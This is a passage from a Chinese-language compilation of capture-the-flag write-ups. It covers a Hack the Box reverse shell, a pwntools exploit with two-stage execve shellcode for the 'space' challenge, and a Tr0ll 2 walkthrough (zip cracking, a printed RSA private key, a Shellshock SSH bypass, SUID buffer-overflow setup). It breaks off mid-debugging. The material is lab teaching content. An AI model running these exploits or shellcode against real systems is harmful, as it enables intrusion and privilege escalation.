 [*] Sending EggHunter
```

过一会儿，拿到一个reverse shell

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 1337
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.112.
Ncat: Connection from 10.10.10.112:49220.
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\nginx>whoami
whoami
piedpiper\nelson

C:\nginx>cd .. 
cd ..

C:\>type users\nelson\desktop\user.txt
type users\nelson\desktop\user.txt

    .-''-.  .-------.      .---.    .-./`)     _______   .---.  .---.         
  .'_ _   \ |  _ _   \     | ,_|    \ .-.')   /   __  \  |   |  |_ _|         
 / ( ` )   '| ( ' )  |   ,-./  )    / `-' \  | ,_/  \__) |   |  ( ' )         
. (_ o _)  ||(_ o _) /   \  '_ '`)   `-'`"`,-./  )       |   '-(_{;}_)        
|  (_,_)___|| (_,_).' __  > (_)  )   .---. \  '_ '`)     |      (_,_)         
'  \   .---.|  |\ \  |  |(  .  .-'   |   |  > (_)  )  __ | _ _--.   |         
 \  `-'    /|  | \ `'   / `-'`-'|___ |   | (  .  .-'_/  )|( ' ) |   |         
  \       / |  |  \    /   |        \|   |  `-'`-'     / (_{;}_)|   |         
   `'-..-'  ''-'   `'-'    `--------`'---'    `._____.'  '(_,_) '---'         
          .---.       ,-----.    ,---.  ,---.   .-''-.     .-'''-.            
          | ,_|     .'  .-,  '.  |   /  |   | .'_ _   \   / _     \           
        ,-./  )    / ,-.|  \ _ \ |  |   |  .'/ ( ` )   ' (`' )/`--'           
        \  '_ '`) ;  \  '_ /  | :|  | _ |  |. (_ o _)  |(_ o _).              
         > (_)  ) |  _`,/ \ _/  ||  _( )_  ||  (_,_)___| (_,_). '.            
        (  .  .-' : (  '\_/ \   ;\ (_ o._) /'  \   .---..---.  \  :           
         `-'`-'|___\ `"/  \  ) /  \ (_,_) /  \  `-'    /\    `-'  |           
          |        \'. \_/``".'    \     /    \       /  \       /            
          `--------`  '-----'       `---`      `'-..-'    `-...-'             
                ,---------. .---.  .---.     .-''-.                           
                \          \|   |  |_ _|   .'_ _   \                          
                 `--.  ,---'|   |  ( ' )  / ( ` )   '                         
                    |   \   |   '-(_{;}_). (_ o _)  |                         
                    :_ _:   |      (_,_) |  (_,_)___|                         
                    (_I_)   | _ _--.   | '  \   .---.                         
                   (_(=)_)  |( ' ) |   |  \  `-'    /                         
                    (_I_)   (_{;}_)|   |   \       /                          
                    '---'   '(_,_) '---'    `'-..-'                           
                             .---.  .---.    ____       .-'''-. .---.  .---.  
      .-,                    |   |  |_ _|  .'  __ `.   / _     \|   |  |_ _|  
   ,-.|  \ _                 |   |  ( ' ) /   '  \  \ (`' )/`--'|   |  ( ' )  
   \  '_ /  |                |   '-(_{;}_)|___|  /  |(_ o _).   |   '-(_{;}_) 
   _`,/ \ _/                 |      (_,_)    _.-`   | (_,_). '. |      (_,_)  
  (  '\_/ \                  | _ _--.   | .'   _    |.---.  \  :| _ _--.   |  
   `"/  \  )                 |( ' ) |   | |  _( )_  |\    `-'  ||( ' ) |   |  
     \_/``"                  (_{;}_)|   | \ (_ o _) / \       / (_{;}_)|   |  
                             '(_,_) '---'  '.(_,_).'   `-...-'  '(_,_) '---'
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadwebsvr8.jpg)

<!-- kb:end hack-the-box-bigheadwebsvr -->

</details>

<a id="case-pwn-space"></a>

## 分裂缓冲区中的短 shellcode

18 字节与 9 字节空间分布限制 payload 布局，原文用短跳转和寄存器状态连接两段 shellcode。偏移和操作码逐项保留。

<p class="kb-provenance">来源 pwn-space · 原记录 2021-09-01 · 6 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-pwn-space">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start pwn-space -->

#### 详细过程及exp
#### 1. Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/space]
└─# file space
space: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=90e5767272e16e26e1980cb78be61437b3d63e12, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/space]
└─# checksec space
[*] '/root/hackthebox/challenge/pwn/space/space'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```



#### 2. Debug binary with buffer overflow string as input:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/space.jpg)

#### 3. Check the EIP offset:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/space1.jpg)

#### 4. Control EIP with custom bytes:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/space2.jpg)

#### 5. Check the space for the custom payload:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/space3.jpg)

There is 18B + 9B space split by 4 Bytes for the EIP register.

So payload could look like great post [https://www.abatchy.com/2017/05/jumping-to-shellcode.html](https://www.abatchy.com/2017/05/jumping-to-shellcode.html):

``` bash
# Payload skeleton:
1. [2nd_stage_shellcode]                           = 18B
2. [EIP] - jump to 1st_stage_shellcode             = 4B
3. [1st_stage_shellcode + jmp 2nd_stage_shellcode] = 9B
```

#### 6. Find ROP gadget for EIP to start shellcode:

Basically, "jmp esp" just jump into execution flow on the next instruction on the stack,
which will be 1st_stage shellcode and another jump.

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/space]
└─# ROPgadget --binary space | grep "jmp esp"
0x08049199 : add byte ptr [0x212a], al ; jmp esp
0x08049197 : add byte ptr [eax], al ; add byte ptr [0x212a], al ; jmp esp
0x08049198 : add byte ptr [eax], al ; add eax, 0x212a ; jmp esp
0x0804919d : add byte ptr [eax], al ; jmp esp
0x0804919a : add eax, 0x212a ; jmp esp
0x0804919f : jmp esp
0x0804919b : sub ah, byte ptr [ecx] ; add byte ptr [eax], al ; jmp esp
0x08049196 : test eax, 0x5000000 ; sub ah, byte ptr [ecx] ; add byte ptr [eax], al ; jmp esp
```

#### 7. Shellcode writing:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/space]
└─# python -c 'from pwn import *; print(disasm("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\x0b\xcd\x80"))'
   0:   31 c0                   xor    eax, eax
   2:   50                      push   eax
   3:   68 2f 2f 73 68          push   0x68732f2f
   8:   68 2f 62 69 6e          push   0x6e69622f
   d:   89 e3                   mov    ebx, esp
   f:   89 c1                   mov    ecx, eax
  11:   b0 0b                   mov    al, 0xb
  13:   cd 80                   int    0x80
```

#### 8. Shellcode customization:

EAX stores (18B + 4B + 9B) data provided as input during overflow.

Without the "mov esp, eax" step, second_stage_shellcode would break the execution flow, because pushed "0x6e69622f" would be treated as data to execute, while it should be stored for further executed syscall and treated as an argument for execve() stored in EBX register. [https://security.stackexchange.com/questions/98311/problems-executing-shellcode-via-nop-sled](https://security.stackexchange.com/questions/98311/problems-executing-shellcode-via-nop-sled)

Then set up EAX and ECX registers to 0. A short jump to the first 18B on the stack. Great article which explains, why we jump 0xe2 — available [https://thestarman.pcministry.com/asm/2bytejumps.htm](https://thestarman.pcministry.com/asm/2bytejumps.htm)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/space4.jpg)

Secondly, we just set up arguments for the [execve()](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit).
(Check this article, if you don't know CDQ instruction)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/space5.jpg)

Final shellcode:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/space6.jpg)

#### 9. Working exploit:

 - getflag.py

``` python
from pwn import *

context.log_level = "debug"
second_stage_shellcode = "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\xb0\x0b\xcd\x80"
print("[+] second_stage_shellcode:", second_stage_shellcode)
eip = p32(0x0804919f)
print("[+] eip address:", eip)
first_stage_shellcode = "\x89\xc4\x31\xc0\x89\xc1\xeb\xe2"
print("[+] first_stage_shellcode:", first_stage_shellcode)
payload = second_stage_shellcode + eip + first_stage_shellcode
print("[+] final shellcode payload:", payload)

p = remote("46.101.23.188",32417)

p.writeafter("> ",payload)
print("[+] sending first_stage_shellcode + second_stage_shellcode...")
p.interactive()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/space]
└─# python getflag.py
('[+] second_stage_shellcode:', 'Ph//shh/bin\x89\xe3\x99\xb0\x0b\xcd\x80')
('[+] eip address:', '\x9f\x91\x04\x08')
('[+] first_stage_shellcode:', '\x89\xc41\xc0\x89\xc1\xeb\xe2')
('[+] final shellcode payload:', 'Ph//shh/bin\x89\xe3\x99\xb0\x0b\xcd\x80\x9f\x91\x04\x08\x89\xc41\xc0\x89\xc1\xeb\xe2')
[+] Opening connection to 46.101.23.188 on port 32417: Done
[DEBUG] Received 0x2 bytes:
    '> '
[DEBUG] Sent 0x1e bytes:
    00000000  50 68 2f 2f  73 68 68 2f  62 69 6e 89  e3 99 b0 0b  │Ph//│shh/│bin·│····│
    00000010  cd 80 9f 91  04 08 89 c4  31 c0 89 c1  eb e2        │····│····│1···│··│
    0000001e
[+] sending first_stage_shellcode + second_stage_shellcode...
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[DEBUG] Received 0x2a bytes:
    'uid=999(ctf) gid=999(ctf) groups=999(ctf)\n'
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x4 bytes:
    'ctf\n'
ctf
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x20 bytes:
    'flag.txt\n'
    'run_challenge.sh\n'
    'space\n'
flag.txt
run_challenge.sh
space
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    'cat flag.txt\n'
[DEBUG] Received 0x1c bytes:
    'HTB{sh3llc0de_1n_7h3_5p4c3}\n'
HTB{sh3llc0de_1n_7h3_5p4c3}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/space7.jpg)

#### 摘自(致敬原作)......

 - 浏览medium.com博客每月有次数限制，并且5$收费，故摘录文章。。。
 - [PWN Space challenge - HTB](https://karol-mazurek95.medium.com/space-challenge-pwn-htb-4bc70c503537)

<!-- kb:end pwn-space -->

</details>

<a id="case-tr0ll-2"></a>

## 归档材料、Shellshock 与 SUID 溢出

ZIP、密钥和 SSH 限制连接 Shellshock，后续在 SUID 程序中定位溢出。原始 shellcode、坏字符与地址布局留存。

<p class="kb-provenance">来源 Tr0ll-2 · 原记录 2020-04-01 · 23 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-tr0ll-2">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Tr0ll-2 -->

#### 名称
名称：Tr0ll: 2
发布日期：2014年10月24日

#### 下载

Tr0ll2.rar
 - Download (Mirror): https://download.vulnhub.com/tr0ll/Tr0ll2.rar
 - Download (Torrent): https://download.vulnhub.com/tr0ll/Tr0ll2.rar.torrent 

Tr0ll2_vbox.rar
 - Download (Mirror): https://download.vulnhub.com/tr0ll/Tr0ll2_vbox.rar
 - Download (Torrent): https://download.vulnhub.com/tr0ll/Tr0ll2_vbox.rar.torrent



#### 描述

Tr0ll系列VM中的第2台靶机。这比原始的Tr0ll难度有所提高，但是解决所需的时间大致相同，并且不会出错，巨魔仍然存在！:)

难度是从初学者到中级。

VM应该从DHCP提取有效IP。该VM已通过验证，可以在VMware工作站5，VMware Player 5，VMware Fusion和Virtual box上运行。virtual box用户可能需要启用附加的网卡才能拉出有效的IP地址。

特别感谢@ Eagle11，@ superkojiman和@leonjza经历了测试，并感谢freenode上#overflowsec的成员给了一些建议。如果机器有问题，请随时通过@ Maleus21或maleus overflowsecurity.com与我联系。-马累www.overflowsecurity.comTr0ll2.rar = VMware，Tr0ll2_vbox.rar = VirtualBox


#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.66.*
Nmap scan report for 192.168.66.16
Host is up (0.00030s latency).
MAC Address: 00:0C:29:F7:66:43 (VMware)
```

``` bash
root@kali:~# nmap -sV -v -p- 192.168.66.16
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:F7:66:43 (VMware)
```

``` bash
root@kali:~# nmap -p 21,22,80 -A -v -T4 --script=vuln 192.168.66.16
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /robots.txt: Robots file
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.2.22: 
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7668   7.5     https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3169   7.5     https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3167   7.5     https://vulners.com/cve/CVE-2017-3167
|       CVE-2013-2249   7.5     https://vulners.com/cve/CVE-2013-2249
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2013-1862   5.1     https://vulners.com/cve/CVE-2013-1862
|       CVE-2014-0231   5.0     https://vulners.com/cve/CVE-2014-0231
|       CVE-2014-0098   5.0     https://vulners.com/cve/CVE-2014-0098
|       CVE-2013-6438   5.0     https://vulners.com/cve/CVE-2013-6438
|       CVE-2013-5704   5.0     https://vulners.com/cve/CVE-2013-5704
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2013-1896   4.3     https://vulners.com/cve/CVE-2013-1896
|       CVE-2012-4558   4.3     https://vulners.com/cve/CVE-2012-4558
|       CVE-2012-3499   4.3     https://vulners.com/cve/CVE-2012-3499
|       CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
|_      CVE-2012-2687   2.6     https://vulners.com/cve/CVE-2012-2687
```

dirb目录爆破一波

``` bash
root@kali:~# dirb http://192.168.66.16/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Mar 31 23:19:58 2020
URL_BASE: http://192.168.66.16/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.66.16/ ----
+ http://192.168.66.16/cgi-bin/ (CODE:403|SIZE:289)                                                                       
+ http://192.168.66.16/index (CODE:200|SIZE:110)                                                                          
+ http://192.168.66.16/index.html (CODE:200|SIZE:110)                                                                     
+ http://192.168.66.16/robots (CODE:200|SIZE:346)                                                                         
+ http://192.168.66.16/robots.txt (CODE:200|SIZE:346)                                                                     
+ http://192.168.66.16/server-status (CODE:403|SIZE:294)                                                                  
                                                                                                                          
-----------------
END_TIME: Tue Mar 31 23:20:04 2020
DOWNLOADED: 4612 - FOUND: 6
```

查看robots.txt
http://192.168.66.16/robots

``` bash
User-agent:*
Disallow:
/noob
/nope
/try_harder
/keep_trying
/isnt_this_annoying
/nothing_here
/404
/LOL_at_the_last_one
/trolling_is_fun
/zomg_is_this_it
/you_found_me
/I_know_this_sucks
/You_could_give_up
/dont_bother
/will_it_ever_end
/I_hope_you_scripted_this
/ok_this_is_it
/stop_whining
/why_are_you_still_looking
/just_quit
/seriously_stop
```

将/robots.txt中找到的所有路径添加到字典中，然后再次dirb。

``` bash
root@kali:~/vulnhub/troll2# dirb http://192.168.66.16/ wordlist /usr/share/wordlists/dirb/common.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Mar 31 23:29:24 2020
URL_BASE: http://192.168.66.16/
WORDLIST_FILES: wordlist

-----------------

GENERATED WORDS: 21                                                            

---- Scanning URL: http://192.168.66.16/ ----
+ http://192.168.66.16//noob (CODE:301|SIZE:313)                                                                          
+ http://192.168.66.16//keep_trying (CODE:301|SIZE:320)                                                                   
+ http://192.168.66.16//dont_bother (CODE:301|SIZE:320)                                                                   
+ http://192.168.66.16//ok_this_is_it (CODE:301|SIZE:322)                                                                 
                                                                                                                          
-----------------
END_TIME: Tue Mar 31 23:29:24 2020
DOWNLOADED: 21 - FOUND: 4
```

找到了4个目录，但除了HTML图像中的图像和注释之外，什么都没有。

``` bash
<html>
<img src='cat_the_troll.jpg'>
<!--What did you really think to find here? Try Harder!>
</html>
```

对于目录，发现这是一张已导入到名为cat_the_troll.jpg的页面的图像，然后全部下载了它们。一开始没有发现任何差异，然后尝试检查所有jpg文件的MD5总和。

``` bash
root@kali:~/vulnhub/troll2# md5sum *.jpg
f094e16de91dae231812a2fb382d8803  dont_bother.jpg
8e40e4bf4212b317788de52381072cd8  keep_trying.jpg
8e40e4bf4212b317788de52381072cd8  noob.jpg
8e40e4bf4212b317788de52381072cd8  ok_this_is_it.jpg
973c57fc28ca1ce8703bdaf102f80370  tr0ll_again.jpg
```

dont_bother.jpg具有不同的MD5哈希值，因此请看一下。

``` bash
root@kali:~/vulnhub/troll2# strings dont_bother.jpg 
JFIF
#3-652-108?QE8<M=01F`GMTV[\[7DcjcXjQY[W
)W:1:WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
...
Look Deep within y0ur_self for the answer
```

浏览器访问到http://192.168.66.16/y0ur_self/，找到了一个名为answer.txt的文件。看起来像一个密码文件。但是每个密码都用base64编码

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub233.jpg)

answer.txt

``` bash
QQo=
QQo=
QUEK
QUIK
QUJNCg==
QUMK
QUNUSAo=
QUkK
QUlEUwo=
QU0K
QU9MCg==
QU9MCg==
QVNDSUkK
QVNMCg==
```

与Web服务无关。继续进行FTP服务。
使用Tr0ll作为用户名和密码登录很容易。找到了一个zip文件，并将其pull到Kali上，但该zip文件受密码保护。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub234.jpg)

现在解码answer.txt文本中的base64加密字符串，并用作字典来解压缩zip文件

``` bash
cat answer.txt | base64 --decode > decoded_answer.txt
```

``` bash
root@kali:~/vulnhub/troll2# fcrackzip -v -D -u -p decoded_answer.txt lmao.zip
found file 'noob', (size cp/uc   1300/  1679, flags 9, chk 1005)


PASSWORD FOUND!!!!: pw == ItCantReallyBeThisEasyRightLOL
```

解压缩后查看压缩包内的文件

``` bash
root@kali:~/vulnhub/troll2# unzip lmao.zip
Archive:  lmao.zip
[lmao.zip] noob password: 
  inflating: noob                    
root@kali:~/vulnhub/troll2# ls -la
总用量 2408
drwxr-xr-x  2 root root    4096 4月   1 01:50 .
drwxrwxrwx 11 root root    4096 3月  31 23:26 ..
-rw-r--r--  1 root root 1412653 10月  4  2014 answer.txt
-rw-r--r--  1 root root  886136 4月   1 01:47 decoded_answer.txt
-rw-r--r--  1 root root   15873 4月   1 01:26 dont_bother.jpg
-rw-r--r--  1 root root   15831 4月   1 01:26 keep_trying.jpg
-rw-r--r--  1 root root    1474 4月   1 01:49 lmao.zip
-rw-------  1 root root    1679 10月  4  2014 noob
-rw-r--r--  1 root root   15831 4月   1 01:26 noob.jpg
-rw-r--r--  1 root root   15831 4月   1 01:26 ok_this_is_it.jpg
-rw-r--r--  1 root root   77438 4月   1 01:26 tr0ll_again.jpg
-rw-r--r--  1 root root     322 3月  31 23:27 wordlist
root@kali:~/vulnhub/troll2# cat noob
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsIthv5CzMo5v663EMpilasuBIFMiftzsr+w+UFe9yFhAoLqq
yDSPjrmPsyFePcpHmwWEdeR5AWIv/RmGZh0Q+Qh6vSPswix7//SnX/QHvh0CGhf1
/9zwtJSMely5oCGOujMLjDZjryu1PKxET1CcUpiylr2kgD/fy11Th33KwmcsgnPo
q+pMbCh86IzNBEXrBdkYCn222djBaq+mEjvfqIXWQYBlZ3HNZ4LVtG+5in9bvkU5
z+13lsTpA9px6YIbyrPMMFzcOrxNdpTY86ozw02+MmFaYfMxyj2GbLej0+qniwKy
e5SsF+eNBRKdqvSYtsVE11SwQmF4imdJO0buvQIDAQABAoIBAA8ltlpQWP+yduna
u+W3cSHrmgWi/Ge0Ht6tP193V8IzyD/CJFsPH24Yf7rX1xUoIOKtI4NV+gfjW8i0
gvKJ9eXYE2fdCDhUxsLcQ+wYrP1j0cVZXvL4CvMDd9Yb1JVnq65QKOJ73CuwbVlq
UmYXvYHcth324YFbeaEiPcN3SIlLWms0pdA71Lc8kYKfgUK8UQ9Q3u58Ehlxv079
La35u5VH7GSKeey72655A+t6d1ZrrnjaRXmaec/j3Kvse2GrXJFhZ2IEDAfa0GXR
xgl4PyN8O0L+TgBNI/5nnTSQqbjUiu+aOoRCs0856EEpfnGte41AppO99hdPTAKP
aq/r7+UCgYEA17OaQ69KGRdvNRNvRo4abtiKVFSSqCKMasiL6aZ8NIqNfIVTMtTW
K+WPmz657n1oapaPfkiMRhXBCLjR7HHLeP5RaDQtOrNBfPSi7AlTPrRxDPQUxyxx
n48iIflln6u85KYEjQbHHkA3MdJBX2yYFp/w6pYtKfp15BDA8s4v9HMCgYEA0YcB
TEJvcW1XUT93ZsN+lOo/xlXDsf+9Njrci+G8l7jJEAFWptb/9ELc8phiZUHa2dIh
WBpYEanp2r+fKEQwLtoihstceSamdrLsskPhA4xF3zc3c1ubJOUfsJBfbwhX1tQv
ibsKq9kucenZOnT/WU8L51Ni5lTJa4HTQwQe9A8CgYEAidHV1T1g6NtSUOVUCg6t
0PlGmU9YTVmVwnzU+LtJTQDiGhfN6wKWvYF12kmf30P9vWzpzlRoXDd2GS6N4rdq
vKoyNZRw+bqjM0XT+2CR8dS1DwO9au14w+xecLq7NeQzUxzId5tHCosZORoQbvoh
ywLymdDOlq3TOZ+CySD4/wUCgYEAr/ybRHhQro7OVnneSjxNp7qRUn9a3bkWLeSG
th8mjrEwf/b/1yai2YEHn+QKUU5dCbOLOjr2We/Dcm6cue98IP4rHdjVlRS3oN9s
G9cTui0pyvDP7F63Eug4E89PuSziyphyTVcDAZBriFaIlKcMivDv6J6LZTc17sye
q51celUCgYAKE153nmgLIZjw6+FQcGYUl5FGfStUY05sOh8kxwBBGHW4/fC77+NO
vW6CYeE+bA2AQmiIGj5CqlNyecZ08j4Ot/W3IiRlkobhO07p3nj601d+OgTjjgKG
zp8XZNG8Xwnd5K59AVXZeiLe2LGeYbUKGbHyKE3wEVTTEmgaxF4D1g==
-----END RSA PRIVATE KEY-----
```

是的rsa私钥。查看SSH服务。因为文件名为noob，所以尝试使用用户noob和私钥登录SSH服务。

``` bash
root@kali:~/vulnhub/troll2# ssh -i noob noob@192.168.66.16
The authenticity of host '192.168.66.16 (192.168.66.16)' can't be established.
ECDSA key fingerprint is SHA256:I3xuSgcBlIsoldKTkOyVYwx8B4NLGl0fDDTi0H6ExYg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.16' (ECDSA) to the list of known hosts.
TRY HARDER LOL!
Connection to 192.168.66.16 closed.
```

#### 利用

能够登录，但连接被关闭。有一段时间，Vulnhub于2014年10月24日发布了此易受攻击的操作系统。在此附近，存在一个漏洞可以绕过此漏洞

 - 参考[SHELLSHOCK漏洞](https://resources.infosecinstitute.com/practical-shellshock-exploitation-part-2/#gref)

``` bash
root@kali:~/vulnhub/troll2# ssh -i noob noob@192.168.66.16 '() { :;}; /bin/bash'
id
uid=1002(noob) gid=1002(noob) groups=1002(noob)
whoami
noob
pwd
/home/noob
```

现在有一个低权限shell。然后查看目录收集敏感信息。

``` bash
cd /
ls
bin
boot
dev
etc
home
initrd.img
lib
lost+found
media
mnt
nothing_to_see_here
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
cd nothing_to_see_here
ls
choose_wisely
cd choose_wisely
ls
door1
door2
door3
ls -al *
door1:
total 16
drwsr-xr-x 2 root root 4096 Oct  4  2014 .
drwsr-xr-x 5 root root 4096 Oct  4  2014 ..
-rwsr-xr-x 1 root root 7271 Oct  4  2014 r00t

door2:
total 16
drwsr-xr-x 2 root root 4096 Oct  5  2014 .
drwsr-xr-x 5 root root 4096 Oct  4  2014 ..
-rwsr-xr-x 1 root root 7273 Oct  5  2014 r00t

door3:
total 20
drwsr-xr-x 2 root root 4096 Oct  5  2014 .
drwsr-xr-x 5 root root 4096 Oct  4  2014 ..
-rwsr-xr-x 1 root root 8401 Oct  5  2014 r00t
```

现在发现有设置SUID位的r00t二进制文件。认为必须利用这些二进制文件。

``` bash
root@kali:~/vulnhub/troll2# ssh -i noob noob@192.168.66.16 '() { :;}; /bin/bash'
cd /nothing_to_see_here/choose_wisely/door1
./r00t $(python -c 'print "A" * 1000')
Good job, stand by, executing root shell...
BUHAHAHA NOOB!
Good job, stand by, executing root shell...
BUHAHAHA NOOB!
cd /nothing_to_see_here/choose_wisely/door2
./r00t $(python -c 'print "A" * 1000')

2 MINUTE HARD MODE LOL
cd /nothing_to_see_here/choose_wisely/door3
./r00t $(python -c 'print "A" * 1000')Connection to 192.168.66.16 closed by remote host.
```

尝试了很多次，发现door3中的r00t容易受到缓冲区溢出的影响，因此将利用这一点。（实际上，它是随机的，当离开一段时间到达目标时，注意到它会将易受攻击的r00t文件更改为另一个door。）

创建模式字符串以查找缓冲区大小。

``` bash
root@kali:~/vulnhub/troll2# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
```

目标机器上使用GDB。

``` bash
cd /nothing_to_see_here/choose_wisely/door3
ls -la
total 20
drwsr-xr-x 2 root root 4096 Oct  5  2014 .
drwsr-xr-x 5 root root 4096 Oct  4  2014 ..
-rwsr-xr-x 1 root root 8401 Oct  5  2014 r00t
gdb -q ./r00t
Reading symbols from /nothing_to_see_here/choose_wisely/door3/r00t...done.
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
